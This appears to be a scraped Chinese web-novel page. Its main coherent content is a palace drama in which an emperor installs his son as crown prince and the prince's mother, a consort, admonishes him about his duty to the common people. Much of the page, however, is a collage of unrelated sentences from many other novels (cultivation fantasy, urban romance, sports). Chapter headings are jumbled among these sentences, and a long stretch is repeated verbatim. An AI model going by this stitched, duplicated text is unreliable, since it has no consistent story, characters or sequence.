‘让三个球’的举动在华国国少进了两颗球以后就彻底摧毁了韩国队员的信念。 古云细细感应而去,在这石山之上,星星点点有着无数的光点,分布在石山之上,想来便是那些刀意了。 “卡尔奇诺雇佣军,愿意服从先知的领导。”军需官菲利克斯赶紧说道。 该死的混蛋竟然带她来这种地方,这地方就是一个左右不通的绝地。 今日,只有灵巧宗,没有天工堂,也没有元武堂,所有弟子皆是灵巧宗的弟子。 \t邓贝贝可是不依不挠起来:林肃,什么意思呀,我又不是跳脱衣舞的,不是你想的那样,今晚我八点就播,十点休息,时间正好合适,你抽空看看,保证耳目一新,与你那种大叔式的想法绝对是不一样的。 司空正晴说的左监大人,指的是廷尉左监左丘宜槐,左丘是司空正晴的上司,是这太平狱里的头,司空正晴是廷尉右监,是二把手。 而现在瑞恩典那王国的年轻一代贵族,也摒弃了王国大多数保守古板的风俗,开始向往和模仿起南方诸国的流行时尚来。各式各样的舞会,派对,歌剧,音乐会等等新鲜事物,也同样在瑞恩典那王国流行起来。 庞瀚海回过神来,看向张道陵,似乎完全忘记了张道陵之前说的什么五戒,当即抓起酒袋,喝了一口,然后说道。 不过双方并没有打招呼,对方沉默的擦肩而过便继续向前走去了。 青楼楚馆绝对是推动诗词流传的重要力量,经由歌妓们一番传唱,江陵城中无人不知这首名词,无人不晓少年才俊宁修。 第297章 各方争执 若馨蓦地抬起头,视线紧紧锁住皇甫贤,身体里天玄暂时镇魂的符咒已散,那种无言的疼痛又席卷而来,若馨慢慢闭上眼。 但是这样一来,也无疑的增加了几分危险性,一塔被破,这就代表着敌方可以从很多个地方前来gank。 此外,虽然光幕挡住了巨大的火焰掌,但仍有一股可怕的力量穿透了光幕。 “我若告诉你,是刘红亲自跟我说的,你相信吗?”毛乐言半是正经半是说笑地道。 驭鬼的脸色阴冷无比,立刻将萨蛮交给旁边的男人,强大的气息一下释放而出,让人心生恐惧,脑口如果压着大石,气息都无法正常进行。 “你虽不懂画作,但字写得挺好。”虞子琛“称赞”完,还不忘将眼睛朝纸篓里瞟两眼,那是清让毁尸灭迹的地方。 老马夫被少年的一席话说得一愣一愣的,对于他话语中的什么救人一命胜造七级浮屠,观音菩萨之类的更是莫名其妙。 “虞子琛总喜欢吓你,你怎么还这么喜欢粘着他?”清让很善良的没说出癞蛤蟆三个字。 颜萧萧用脚趾头想都知道是怎么回事,她睁大美目瞪着靳光衍,开玩笑也要有个度吧?总不能因为她迕逆他,他就这么霸道吧?何况,人家穆风还在场呢。他们俩给人家接风洗尘,他这样胡闹让她颜面往哪搁? “颜萧萧,坦白从宽,抗拒从严,你和你的姜越哥究竟是什么关系?你为什么叫他哥?”许翼说得漫不经心,只有他自己才明白这些话从他口里说出来有多难。 “照你这般来说,人的三魂七魄,除了命魂之外,其余离体而出,倒是并未大碍了?”飘无踪不可置信地追问道。 第五天,石头变得只有巴掌大,通体透明,完全是水晶的模样,张夜和北燕姬,继续无语中。 没有丹药!墨离一口回绝,这货刚才看起来还可怜兮兮的,如今却像是变了样,趾高气昂,大模大样蹲坐着,看起来颇为享受。 打发了林木辉,宋子阳本以为,以这二货的性子,会立即展开报复的,未曾想,他竟然也忍的住。宋子阳就这样,安稳的过了两天。 说白了,李旭就是通过这种方式,让最信任的妖族,跳过漫长的进化历程,直接从最高基础开始新一轮的进化。 进去的时候,昭夫人对着一面镜子,精心的装扮自己,一丝不苟。 突然,李峰以为自己的眼花了,揉了揉眼睛,一种不可思议的深情出现在李峰的脸上。 方尘对孟雪说,我先下去看看,然后一转身就消失在舱内。这年头,专家都不太可靠。靠专家还不如靠自己来得实在些。 李旭经常想到,难道张春桥就是燃灯一缕元神转世重修的吗?为什么他们的言行如此相似?都是那种的“好话说尽,坏事做绝”的绝顶杂种呢? 在握着灵犀珠切断联系的时候,他看到云锦璃正在穿衣裳。那影影绰绰的身影,让他一夜都睡不着。 同样,当人们说到国师凤曦时,也会想起他将当今二公主迷得神魂颠倒什么的。 至于三千幸存者,他们中间,会有一千个倒霉蛋成为兽化药剂的注射者。 林大医生什么都好,身材好、医术好、成绩好,唯一不好的就是这张脸,倒不是长的太丑,该怎么说呢? 但不知为何,她脸上的神色突然顿了顿,感受着暗中落在她身上的那道火热目光,冷苏的眸光闪了闪,嘴角抽搐了一下。 原本已经凉爽下来的初秋恰好在今天迎来了秋老虎,筱筱拖着行李箱,又背着一个双肩包,在新生报到处好一番晃悠,才找到她的学院。 他刚才听到了什么?魔王居然直接把自由联盟灭掉了,而且还收服了自由联盟最强高手史蒂夫当了他的仆人? 逃不掉,挣扎不了,他也不是那么让人厌恶……所以,在一起也没什么不好的。 “安爷,我们手下的第七个据点已经让灭掉了!这一次死了整整六百多个弟兄!”这个男子当下直接对着安爷说道。 也是因为这原因,宁夏这装扮和其他模特相比较起来,更现在年轻活泼。 这南斗增吉术的难度,比易鸣当初想的还要难,因为星辰变化,天地元气也在时刻变化当中,尤其是破晓时刻,阵法内的元气总是紊乱、稳定、再紊乱这样周而复始地变化。 足足吻了一分多钟,饶是易鸣是个功夫高手,两人分开后,他也是深深地吸了一口气。 现在的封熙则是有些高调,但总体来说,眼前的熙姐还是熙姐,身上的气息一点没变。 从自家宗门中的另一名太乙玄仙口中他获悉了一些东西,袁峰的确招惹上了旁人,但是那人的修为应该也就比袁峰高出一筹罢了,否则的话也不会与人联手,用了一盏茶的功夫才将袁峰给杀了。 “起来吧,他还活着,拿我法剑去救他下来。”王昊说道,手中出现一柄大道之力凝聚的长剑。 不仅如此,增长天王手中的宝剑,也划出一道青光,跟在了乱琉璃神器的后面。 “改之挺准实时的嘛,来,先吃点东西,喝口酒!”李无常客气的招呼秦改之等人坐下吃东西。 不过既然现在已经把金琉璃给打到了剑侠客想要的结果,那么现在自然是可以手收了。 第295章 不安分 甚至可以说,秦家对官家只有唯一的一个条件,让官雅儿改嫁,改嫁给秦家的那个大傻子。 他的身体,并没有顷刻炸裂,而是就这样一个部位一个部位的炸裂。 起哄声再起,当然还是那帮洛媛集团的人,杜洛都有点听不下去了,这都是什么玩意,看着白寒江头也不回的离开篮球馆。 安念楚眼睛有些肿涩,眼角有些湿润,她知道哭没有用,可是眼泪还是充满了她的眼,她看着他,心一阵阵的抽疼,本来就不该跟他有任何牵扯,本来就应该躲的远远的,她为什么就是不长记性,就是想回来,就是想靠近他。 如果不是他,她不会崴脚,也就不会导致今天再次崴脚,那钻心的疼,让她害怕伤到骨头,她瘫软的坐在地上去,却动都不敢动一下。 “不,必须得打一场,你越是这样,我就越是怀疑你的能力”伊然说道。 何腾蛟有必要过来,提醒一下高义欢,让他不要再搞事情,否则逼死了我何腾蛟,你高义欢也没好果子吃。 “你到底是做什么的?”我奇怪,身边的人随随便便居然能拿这么多钱。 想到青丝的兄长,天生心中的震惊顿时被愤怒所代替,不就是一个妖王家族吗?我天生一不求你,二不靠你,三不贪图你家族的东西,至于用那种语气和我说话吗?别人怕你狐家,我天生可没有放在眼里。 回到宾馆,高燕换好衣服,又简单化了下妆,然后,按路军信息里的提示,向周思国请客的宾馆走去。 “没想到其中的道道还真不少。”陈琅琊点头道,不过看着体育馆外面那些急不可耐的看客,也只能无奈苦笑。为了看场球,可谓是吃尽辛苦,到最后却是竹篮打水一场空,连馆门都没进去。 金上智当然不是来找天生的,他就算再厉害也不可能知道天生这个时候会在金乌岛上。他回来自然是另有目的的。 所以,此时,她看着李茂阳谄媚地笑着叫着她骆奶奶走过来,就很有些懵。 清晨,上海的天空有些灰茫茫的,一朵朵厚厚的云朵遮蔽了炙热了阳光,寒风呼啸,让人微微一寒。 青衣焦急的跑了进来,她的手里还拿着糕点,差点被门槛绊倒,幸好扶住一旁的门框。 天生也没有在意,只是认为这大概是酒性太烈,所以才会有如此高温。 梁颜走到那把匕首面前,随后就拿起来仔细看了一下,忍不住笑出声。 何顾在现代这个大染缸里深受熏陶,知道有些事要么不干,要干就别瞻前顾后。所以在光天化日之下他做起那些栽赃陷害碰瓷勒索的事情简直是如鱼得水。 “他们,走了多久了?”看着夜老王爷曾经住过的院子,风天翼不禁问道。 苗若兰忽然想起自己临走之前留下的傀儡,是应该去见见他们的时候了。 展若婉微一沉吟,回头看了看坐在那品茗的苗若兰,包大人与公孙先生都是聪明人,展若婉既想到了这二位又如何想不到。 四目相对之间,夜轻羽吓了一跳,放开墨夕,蓦然后退一步,拉开了一点距离。 话还未说完,她便愣住了,直愣愣地站在大开的墨府大门前,看着长长的台阶下,那安静停在大雨中的马车。 地底弥漫的威压越来越强烈,四周死气,尸气的阻力也越来越大,五行金船已是来到红毛魔尸的地域。 这些家伙可都是打沈冰注意的人,既然被周笑见到了,岂能让他们逃了? 依旧是在一片掌声之中,主持人宣布此次拍卖会圆满结束,共筹的善款额为一亿零三百万,全部用于穷困地区的学校建设。 下巴长了一些胡渣,可这一点儿也不影响冷清风的俊秀容颜。而冷画屏与冷清风的右眼下都有一滴泪痣,这让他们两个更加的相像。 “管家也打过电话,说爷爷让我回家过年 ,不过被我拒绝了。”林音涵漫不经心地说道。 “二丫,今天在家帮我带一天,你明天就去上班!”罗氏中气十足的说道。 林凯恩感受的很清楚,他暗自欢呼雀跃,更加努力的摧残骷髅骑士,只见他随手一挥,已经变为亮黑色的大剑就斩掉十几个骷髅骑士的头颅,而且他们死掉之后,身躯就融化了,与周围的环境一体。 “传闻灵山上不是养着很多妖怪么?怎么这里都没见过一只妖兽?”幕毅心底暗道,他抬眼往前前方,这里离佛寺的圣殿还有很长一段距离。 听到阿波罗说的话,雅典娜的脸上充满了怒意。身上的肌肉紧绷,全身发力,一脚踹向最先冲过来的太阳卫杀手。 “所以你不要入他的会,差不多就是不靠谱的……”末了,她又叮嘱了一句。 但虽然两方粉丝互掐,可依旧相安无事,蓝玉拍她的电影,夏萦拍她的电视剧。 而欢乐大酒楼,开业至今,生意一直是蒸蒸日上,国庆中秋,以及接下去的元旦,春节,这都是可以预见的宴席高峰期,可能只要做到过完年,差不多就能够收回成本了。 不过当前摆在他面前的并不是对自己的兄弟们问罪,而是要查清袭击杨敢的家伙到底是谁? 柳昊他们从白泽的办公室离开以后,却也并没有就此分开,而是又在道法系的办公室聚集了起来。 当然,这不是贬低寒大人的意思,而是陈述事实而已——古月村所有幸存者,对寒大人的尊敬,都是打从心底尊敬的,无半分虚假,不管寒大人变成什么样,这份真诚感情,都不会改变。 毕竟光是这个熊头人怪物的身高,就已经是他们这些人的五到六倍了,这样的身高与体型差距,自然也是相当明显的。 第296章 战况不佳 很简单的面,是的,很简单,其实还是挂面的,上面飘了几片新鲜的青菜叶子,还有炒的好吃的西红柿,两个荷包蛋,上面再是洒了一些切的细细的葱花,闻起来十分香。 她知道,达奚丰赡并不是她该肖想的,她也很努力尝试过驱散心头的那道身影,可却依旧做不到。 本来在孩子还没出生的时候,权家人就已经想了不少名字了,可总是想了一个又一个,随后推翻一个又一个。 “普通人?”雷清仪站了起来,也是居高临下俯视着黄毛那一脸的垂死挣扎。 陆泽涛有些怯懦地缩了缩肩膀,要不要救裴冉?可是看到齐苑脸上凶狠的神色,他就觉得刚才脑袋上被她戳过的地方,一阵一阵刺痛起来。 米苏拧着眉头,目光静静地落在那个芯片上,随后又看着桌面上的那些照片,双手握得紧紧的,似乎正在挣扎。 看着这宫殿极尽富丽堂皇,不过是一个五岁的孩子,但是就看到周围的这一切已经是让他发现了这些东西究竟是有多好看。 而萧陌则是直接用出最强手段,无远弗届加玄火鼎,恐怖的火浪在这一刻席卷天地,随著他三元齐开,身上的气势剧增,早已超越逍遥境,达到齐物境,而且是齐物境中后期。 这个男人之前就经常被人这么盯着,所以他的表现十分的坦然跟大方。 这是两人事先便想好的策略,不管怎么说,工人都是他们这两个厂子的,出了这么大的事,他们都有不可推卸的责任。抢在凌志远之前,主动认错,封住他的嘴,将主动权掌握在自己手中。 别看是断脉山的山脚,可凶兽的声音不断从断脉山中传出,说明了断脉山的凶险。但既然接下了任务,他们肯定是要不惧危险的。 人有七情六欲,喜怒哀乐爱恶欲,陈丹青从她身上看到了一个完整的人格,而不是那个冰冷而高高在上的展姑娘。 一掌的落下,强横的肉身爆发出无上劲力,直接将幽封给震飞了出去,让之毫无招架之力。 “四宗联盟汇聚高手,试图灭杀虫母,周围几乎所有高手都被抽调,我单独有个散修身份,也是收到了邀请。”南顺青神色略带一丝兴奋。 脸色惨白,浑身毫无血色,一副病态的模样,看起来,就像是大限将至,活不了几天。 “人类像是你这样的强者,很多么?”这是日君最为关心的话题,也算是地底人将来肯定会面对的一个事情。 眼看头顶上飞剑掠过,莫凡心中更是愤愤不已,嘟囔着将本命器灵收了起来,站起身就要继续赶路。 “正良,你先和严处长他们过去,我会向市有关领导反映这事的!”张大山直言不讳的说道。 在比赛结束那一刻不论是未来星还是皇马队员都无力的瘫坐在了球场上。 “等我找到十个点,马上就发动。等不及两人都算完了!只要能干扰法阵运行,少死一个是一个!”罗玲道。 罗西唉了一声便转身走向了其他队友开始与所有队友击掌提前庆祝胜利。 从南山的话语里,他想到了自己,想到自己隐姓埋名几年冒着危险混迹在战场上的事情,这就更不用说,本来就对被绑架来这里充满怨恨和敌意的其他人,他们恨不得将那些把自己送过来的家伙杀光。 ‘让三个球’的举动在华国国少进了两颗球以后就彻底摧毁了韩国队员的信念。 古云细细感应而去,在这石山之上,星星点点有着无数的光点,分布在石山之上,想来便是那些刀意了。 “卡尔奇诺雇佣军,愿意服从先知的领导。”军需官菲利克斯赶紧说道。 该死的混蛋竟然带她来这种地方,这地方就是一个左右不通的绝地。 今日,只有灵巧宗,没有天工堂,也没有元武堂,所有弟子皆是灵巧宗的弟子。 \t邓贝贝可是不依不挠起来:林肃,什么意思呀,我又不是跳脱衣舞的,不是你想的那样,今晚我八点就播,十点休息,时间正好合适,你抽空看看,保证耳目一新,与你那种大叔式的想法绝对是不一样的。 司空正晴说的左监大人,指的是廷尉左监左丘宜槐,左丘是司空正晴的上司,是这太平狱里的头,司空正晴是廷尉右监,是二把手。 而现在瑞恩典那王国的年轻一代贵族,也摒弃了王国大多数保守古板的风俗,开始向往和模仿起南方诸国的流行时尚来。各式各样的舞会,派对,歌剧,音乐会等等新鲜事物,也同样在瑞恩典那王国流行起来。 庞瀚海回过神来,看向张道陵,似乎完全忘记了张道陵之前说的什么五戒,当即抓起酒袋,喝了一口,然后说道。 不过双方并没有打招呼,对方沉默的擦肩而过便继续向前走去了。 青楼楚馆绝对是推动诗词流传的重要力量,经由歌妓们一番传唱,江陵城中无人不知这首名词,无人不晓少年才俊宁修。 第297章 各方争执 萧祈安这话说得掷地有声,语气里是不容反驳的威严。 而宣政殿内的大臣们听完萧祈安的这句话,显然都被惊着了。 殿内居然是死一般的寂静。 也不知道沉默了多久,站在第一排的丞相燕川才拱着手向前一步出声了。 “陛下三思啊!”燕川低着头,说话的语气里有些激动,“陛下是大容的君主,是大容的主心骨!若是您御驾亲征上了战场,这宫里纷繁的政务怎么办?撇开政务不谈,若是您在战场上出了什么意外,微臣如何同先帝交代?如何同大容的列...... 若馨蓦地抬起头,视线紧紧锁住皇甫贤,身体里天玄暂时镇魂的符咒已散,那种无言的疼痛又席卷而来,若馨慢慢闭上眼。 但是这样一来,也无疑的增加了几分危险性,一塔被破,这就代表着敌方可以从很多个地方前来gank。 此外,虽然光幕挡住了巨大的火焰掌,但仍有一股可怕的力量穿透了光幕。 “我若告诉你,是刘红亲自跟我说的,你相信吗?”毛乐言半是正经半是说笑地道。 驭鬼的脸色阴冷无比,立刻将萨蛮交给旁边的男人,强大的气息一下释放而出,让人心生恐惧,脑口如果压着大石,气息都无法正常进行。 “你虽不懂画作,但字写得挺好。”虞子琛“称赞”完,还不忘将眼睛朝纸篓里瞟两眼,那是清让毁尸灭迹的地方。 老马夫被少年的一席话说得一愣一愣的,对于他话语中的什么救人一命胜造七级浮屠,观音菩萨之类的更是莫名其妙。 “虞子琛总喜欢吓你,你怎么还这么喜欢粘着他?”清让很善良的没说出癞蛤蟆三个字。 颜萧萧用脚趾头想都知道是怎么回事,她睁大美目瞪着靳光衍,开玩笑也要有个度吧?总不能因为她迕逆他,他就这么霸道吧?何况,人家穆风还在场呢。他们俩给人家接风洗尘,他这样胡闹让她颜面往哪搁? “颜萧萧,坦白从宽,抗拒从严,你和你的姜越哥究竟是什么关系?你为什么叫他哥?”许翼说得漫不经心,只有他自己才明白这些话从他口里说出来有多难。 “照你这般来说,人的三魂七魄,除了命魂之外,其余离体而出,倒是并未大碍了?”飘无踪不可置信地追问道。 第五天,石头变得只有巴掌大,通体透明,完全是水晶的模样,张夜和北燕姬,继续无语中。 没有丹药!墨离一口回绝,这货刚才看起来还可怜兮兮的,如今却像是变了样,趾高气昂,大模大样蹲坐着,看起来颇为享受。 打发了林木辉,宋子阳本以为,以这二货的性子,会立即展开报复的,未曾想,他竟然也忍的住。宋子阳就这样,安稳的过了两天。 说白了,李旭就是通过这种方式,让最信任的妖族,跳过漫长的进化历程,直接从最高基础开始新一轮的进化。 进去的时候,昭夫人对着一面镜子,精心的装扮自己,一丝不苟。 突然,李峰以为自己的眼花了,揉了揉眼睛,一种不可思议的深情出现在李峰的脸上。 方尘对孟雪说,我先下去看看,然后一转身就消失在舱内。这年头,专家都不太可靠。靠专家还不如靠自己来得实在些。 李旭经常想到,难道张春桥就是燃灯一缕元神转世重修的吗?为什么他们的言行如此相似?都是那种的“好话说尽,坏事做绝”的绝顶杂种呢? 在握着灵犀珠切断联系的时候,他看到云锦璃正在穿衣裳。那影影绰绰的身影,让他一夜都睡不着。 同样,当人们说到国师凤曦时,也会想起他将当今二公主迷得神魂颠倒什么的。 至于三千幸存者,他们中间,会有一千个倒霉蛋成为兽化药剂的注射者。 林大医生什么都好,身材好、医术好、成绩好,唯一不好的就是这张脸,倒不是长的太丑,该怎么说呢? 但不知为何,她脸上的神色突然顿了顿,感受着暗中落在她身上的那道火热目光,冷苏的眸光闪了闪,嘴角抽搐了一下。 原本已经凉爽下来的初秋恰好在今天迎来了秋老虎,筱筱拖着行李箱,又背着一个双肩包,在新生报到处好一番晃悠,才找到她的学院。 他刚才听到了什么?魔王居然直接把自由联盟灭掉了,而且还收服了自由联盟最强高手史蒂夫当了他的仆人? 逃不掉,挣扎不了,他也不是那么让人厌恶……所以,在一起也没什么不好的。 “安爷,我们手下的第七个据点已经让灭掉了!这一次死了整整六百多个弟兄!”这个男子当下直接对着安爷说道。 也是因为这原因,宁夏这装扮和其他模特相比较起来,更现在年轻活泼。 这南斗增吉术的难度,比易鸣当初想的还要难,因为星辰变化,天地元气也在时刻变化当中,尤其是破晓时刻,阵法内的元气总是紊乱、稳定、再紊乱这样周而复始地变化。 足足吻了一分多钟,饶是易鸣是个功夫高手,两人分开后,他也是深深地吸了一口气。 现在的封熙则是有些高调,但总体来说,眼前的熙姐还是熙姐,身上的气息一点没变。 从自家宗门中的另一名太乙玄仙口中他获悉了一些东西,袁峰的确招惹上了旁人,但是那人的修为应该也就比袁峰高出一筹罢了,否则的话也不会与人联手,用了一盏茶的功夫才将袁峰给杀了。 “起来吧,他还活着,拿我法剑去救他下来。”王昊说道,手中出现一柄大道之力凝聚的长剑。 不仅如此,增长天王手中的宝剑,也划出一道青光,跟在了乱琉璃神器的后面。 “改之挺准实时的嘛,来,先吃点东西,喝口酒!”李无常客气的招呼秦改之等人坐下吃东西。 不过既然现在已经把金琉璃给打到了剑侠客想要的结果,那么现在自然是可以手收了。 第298章 新太子 光启十七年八月初九,是皇六子萧衡昀的皇太子册封大典。 我听这声音似乎有些耳熟,但是有感觉跟我认识的那些人的声音又都不太像。这让我感到无比的蹊跷。 每一颗丹药的炼成,就好比是一个世界的诞生一样,各种不同的物质交相融合,完美地结合在一起,相辅相成,相生相克。 此时肃王唤董海川献茶,由于观众拥挤,难以进入。他情急之下,一手托盘,一手提壶,纵身跃过人墙,送茶到肃王面前,为客献茶。肃王大惊,问道:“你也精通武艺?”。 军团作战讲究的就是团队作战,组合作战,配合作战,乱就代表败亡。 第二天一来,王经理还是不在,连续三天,王经理不是去这个工地就是去那个工地。张然然,林成就回返28楼想再问下华董事长。 计凯却不像慕容叶宇那么乐观,只是,一切都还未确定的时候,想再多也没有,只能勉强笑了一下,跳过了这个话题。 她说:“你好不好送我到楼下,这儿太黑了,我有点——”她想必是真怕的,她胆子看起来并不大。 “七夕青鸟,再来一次龙之怒!”虽然刚刚的攻击效果不错,不过寒鹏脸色不变,一如既往的冷傲,冷冷的开口喊了一句。 “九娘,你让我静一静吧,明天的运动会,我会参加的!”秦枫现在一点都不想说话,只想把自己关在封闭的房间里自我反省。 等到了餐馆,那位夏董还没有到。甄妮不见踪迹,陆展颜从场记那儿听说,她是去接驾了。 可惜地球的特训队和科研所的人都不懂,金蝴蝶是可以不吃东西的,一看到金蝴蝶不动了,就紧张得不得了,以为它们不适应地球上的气候已经死了。 恰好被刚到医院车的徐泽南看到了,见叶栗没有坐张姐的车,而是上了出租车,徐泽南很纳闷,不知道叶栗要去哪里,本想不管,却又不放心,便跟上那辆出租车,想看看叶栗要去做什么。 用琳琅的话来说,那就是当她每次想要跨界的时候,就会在下一步的时候回到原地。无论她走多久,只要她动了进流光空间的念头,便只会原地踏步。 除去带着帷幕完全遮住面庞的两个护卫,变化最大的当属丁二,原本身形清瘦的他看着似乎丰满了不少,面‘色’也暗了许多,再配上一脸严肃的神情,哪里看得出平日里嘻嘻哈哈的半分影子。 “习惯,在这里挺好的,家里也都好吧?你两个妈妈都好吧?”叶正凯吃着桔子,看似无意的问道。 “别!医生,麻烦你这样的事儿千万别说,我家里人不知道的,你直接说后面的。”艾茉莉一下子打断了医生的话,毕竟流过产不是什么好事儿,要是让姜丽云听见了保不齐以后就是话柄。 可是相隔一条银河,世事瞬息万变,谁也不知道下一刻会发生什么事情。 “就是这里了,应当就在那一堆黄沙下”尊者说着把飞碟压得低低的,几乎贴着了卷起旋风的黄沙上面。 “那不是很简单?”他的口气那样轻飘,陆展颜觉得脸更加烫了。 只见金楚辰嘴角微扬,左手一弹就点了萧乾身上的一处穴道,他的嘴角便溢出了血,可是他还不肯罢休,运气挥舞着手上的剑,一股骇人的剑气逼来。 颜司明一直是聪明的,而且在细节之中,往往能探得旁人不能探到的隐私,这种隐私极有可能颠覆以往所有的认知。比如,这玉佩,很有可能是他们少主挑起的。 亚帕德·霍克莱德少校和厄尔塔中校在中央堡垒内。霍克莱德少校从阿克伦亚廷议国的罗科姆卡市内杀死了将近数十只魔兽,此时他和他的士兵们都需要休整,他们暂时退回到了阿克伦亚廷议国的罗科姆卡市的中央堡垒内。 这个弟子在药族之中的地位并不高,所以能够接触的地方也并不多,但是秦风至少可以有一个身份在药族之中活动。 陆既忧立刻就知道了,希音是将他当成了驺吾,瞬间也知道问题出在了哪里,顿时暗骂一声自己蠢。 这些人的神识扫过他们时,夏初昭三人也是能感受到的,其实未经他人允许,随意用神识扫探是一件十分不礼貌的事情,甚至还可以当做是挑衅——高阶修士扫低阶修士除外。 巨响惊天,陨星坠落,将空挡无人的圣彼得大广场轰然击穿,开出一个烈焰燃烧的巨坑。 妖魔之王的恐怖不用多说,全盛时期的八岐大蛇,碾死罗宁恐怕和碾死蚂蚁一样简单。 “执掌、长老,我与一去师弟守在仙馆门口一刻也没有离开,一只苍蝇也没有进来过。”一来面色正经、十分自信地说道。 “吼吼。”黑大个看到英俊靠近自己,下意识的后退了两步,紧接着像是受到了屈辱一样对着英俊就大吼了起来,一股暴虐的气息散发而出,让远处的铁蛇他们全都是脸色一变。 “展兄即为护卫之职,想来功夫一定极高喽。”苗若兰心中不免又多加了几分好感,能在包青天手下做事,为人绝不会是庸才。 昕溪刚准备上床睡觉,就听见大门好像有响声,像是钥匙开门的声音,不由心中纳闷,难道凌芝走了之后又回来了? 一道溪流飞瀑,在这巍峨的山岭,划下一道白色痕迹;缓缓流淌的,是潺潺的溪水,飞泻而下的,是壮美至极的瀑布。溪水的潺潺是种隐忍,飞瀑的喧嚣却是种傲世的喧哗。 第299章 母妃的教诲 “行了,朕要同你说的话也说得差不多了,是时候回承乾宫见你母妃了。” 今日的太子册封大典,后妃们是没有资格去观礼的,但是这并不代表萧祈安忘了夏韶宁。 同样的,萧衡昀自然也没有忘了他的母妃。 “母妃肯定等急了。”听得父皇提起母妃,萧衡昀立刻抬脚就往紫宸殿外走去。一边走嘴里还一边念叨着,“得让母妃看看我今日的样子,她一定很开心。” 而一旁的萧祈安看着萧衡昀的背影,脸上也是止不住的笑容。 承乾宫。 “母妃,我回来了母妃!”一跨入承乾宫的大门,萧衡昀便一边喊着母妃一边往内殿去了。 只是奇怪的是,他从大门一路穿过连廊走到内殿里头,都没有见到夏韶宁。 这会儿是连萧祈安都觉得奇怪了。 不过也没等着父子俩懵太久,远远的便瞧见惜春朝着两人走了过来。 “奴婢给陛下请安,给太子殿下请安。”惜春朝着两人行了一礼,朗声道,“贵妃娘娘让奴婢来向陛下和太子殿下传个话,说她在小花园里等着二位。” 听得惜春的话,萧衡昀有些不知所措地看了萧祈安一眼,却见父皇只是抬起头朝着他笑。 “咱们一块儿去吧。”萧祈安拍了拍萧衡昀的肩膀,抬脚就往承乾宫后头的小花园去了。萧衡昀虽然有些不知所措,但是也跟着父皇身后一道去了。 萧祈安与萧衡昀两父子赶到小花园的时候,夏韶宁正坐在凉亭里往她对面的两个杯子里倒酒。 眼见着风度翩翩的两父子一前一后地朝着自己走来,夏韶宁忽然就笑了。 她今年虽然已经三十六岁了,但是岁月似乎并没有在她的脸上留下什么明显的痕迹。 她还是如当年刚被先帝指到六皇子府里那般十来岁的模样,只是周身散发出的那种成熟的气质在不断提醒周围的人,她是贵妃,她是大容国皇太子的生母。 “嗯,咱们昀儿穿上这明黄色的太子礼服,可真好看。” 不知从什么时候开始,萧衡昀已经比夏韶宁要高上一个头都不止了。如今的夏韶宁要同他说话,已经要仰起头来了。 “你喝酒了?”萧祈安瞥了一眼夏韶宁,发现此时的她脸颊两边已经浮现出了一丝不太正常的红晕。 “臣妾今日开心,小小地喝了一点儿酒,不过还没到喝醉的地步。”夏韶宁踮起脚尖伸出手来抚了抚萧祈安紧皱的眉头,笑着道,“陛下别那么严肃嘛!您先坐下来咱们再说话好不好?” 萧祈安还想说些什么,可是看到夏韶宁这个样子,还是什么都没有说,只是看了对面的萧衡昀一眼,示意他赶紧坐下。 谁知道萧衡昀刚刚坐稳,夏韶宁却忽然拍着他的背厉声道,“我没让你坐,你跪下!” 萧衡昀有些不明白刚刚还笑得一脸灿烂的母妃为何好端端的就变了脸色,但是他还是乖乖地听了母妃的话跪了下来。 “你知道我为什么让你跪吗?”夏韶宁坐在椅子上,神色平静地看着跪在地上的萧衡昀。 “其实按道理说来,你如今已经是储君了,我不过是你父皇的妃妾,你是不应该跪我的。” “母妃!您说什么呢?我是您的儿子,儿子跪母亲,有什么不应该的!”听得夏韶宁这番话,萧衡昀立刻出声反驳了起来。 “是,既然你还叫我一句母妃,那我今日就把我想要同你说的话都当着你父皇的面一并说了。” 夏韶宁看了萧祈安一眼,见他并没有制止自己的意思,甚至满脸好奇地看着自己,她便放心的开口了。 “从你还在我肚子里的时候,你就是带着父皇与母妃的期望降生的。后宫里没有皇后,母妃的位份最高又最得你父皇宠爱,所以一直以来你也是最得你父皇宠爱的孩子。” “你身为皇子,自小便是享受大容百姓的供奉长大的。你吃的每一口饭,穿的每一件衣裳,甚至于你学习用的笔墨纸砚,若是没有百姓们的劳作交上的赋税,你什么都用不上。” “母妃自小将你照顾得很好,如今你当上了这储君,母妃怕你心中始终觉得自己高高在上,又不知人间疾苦认为自己如今已经是什么了不得的人物了,而不将百姓们真正的需求放在心里。这对于一个储君来说,是大忌。” 夏韶宁一边说,一边观察着跪在地上的萧衡昀的脸色。果然,当他听到自己提起大容的老百姓,他的神色便变得前所未有的凝重。 “一个储君,甚至于是一个皇帝,若是只知道向百姓们索取,而不懂得回报百姓,那只能说他不是一个称职的储君,也不是一个称职的皇帝。” “母妃之所以选择在你正式成为大容储君的这一天对你说这么多,就是希望你能不忘初心。哪怕十年二十年三十年,你还能记得自己初登上这个位置时心中最初的想法,并且努力实现它。昀儿,你明白了吗?” “母妃,儿臣明白您的意思了!”沉默了好一会儿,萧衡昀终于语气坚定的出声了。 不知为何,听完母妃同他说的这些话,他忽然就觉得心里头热热的,仿佛有一股不知名的劲头在往外奔腾着。 “儿臣会始终记得自己之所以能够坐上这个位置,都是托大容千千万万老百姓的福。儿臣以后一定会将百姓的需求放在第一位,儿臣说到做到!” “朕真是没想到,你会同昀儿说这些话。”这会儿的萧祈安,心中当真对夏韶宁有些刮目相看起来。 他从前只知道夏韶宁与一般女子都不同,她聪明机智,有勇有谋,遇到任何困难从来都能很快地找到解决的办法。 而今晚她对萧衡昀说的这番话,又让他对这个女人有了新的认识。 “好了,陛下快叫昀儿起身吧,再跪下去若是膝盖跪坏了,过几日可送不了您出征了。” 这会儿的夏韶宁,又变回了以往那般懒懒散散的样子。 只见她端起面前的酒杯,对着萧祈安与萧衡昀两父子笑嘻嘻道,“那么现在,我就祝你们父子二人,所有的事情都能够——得偿所愿!” 第300章 信任还是试探 承乾宫内殿。 “快点躺好,别乱动了,朕让人进来给你擦洗一下!” 萧祈安抱着已经明显有些醉意的夏韶宁,小心翼翼地将她放在床榻上。正准备转头让惜春与含秋进来给她擦洗一下,却发现自己的手被眼前的女人死死地给拉住了。 “我没醉呢!”夏韶宁拉着萧祈安的手,一下子就从床上坐了起来,一双眼睛亮晶晶地看着面前的男人。 “陛下坐下,咱们说说话。”夏韶宁一边说,一边伸出手拍了拍自己身边的位置,对着萧祈安笑着道,“好久没和陛下聊天了。” “你这丫头,许久不见你在朕面前这个样子了。”萧祈安伸出手来摸了摸夏韶宁那依旧浓密的头发,笑得温柔,“朕总以为经过那么多事情,咱们两人好像生分了很多。” 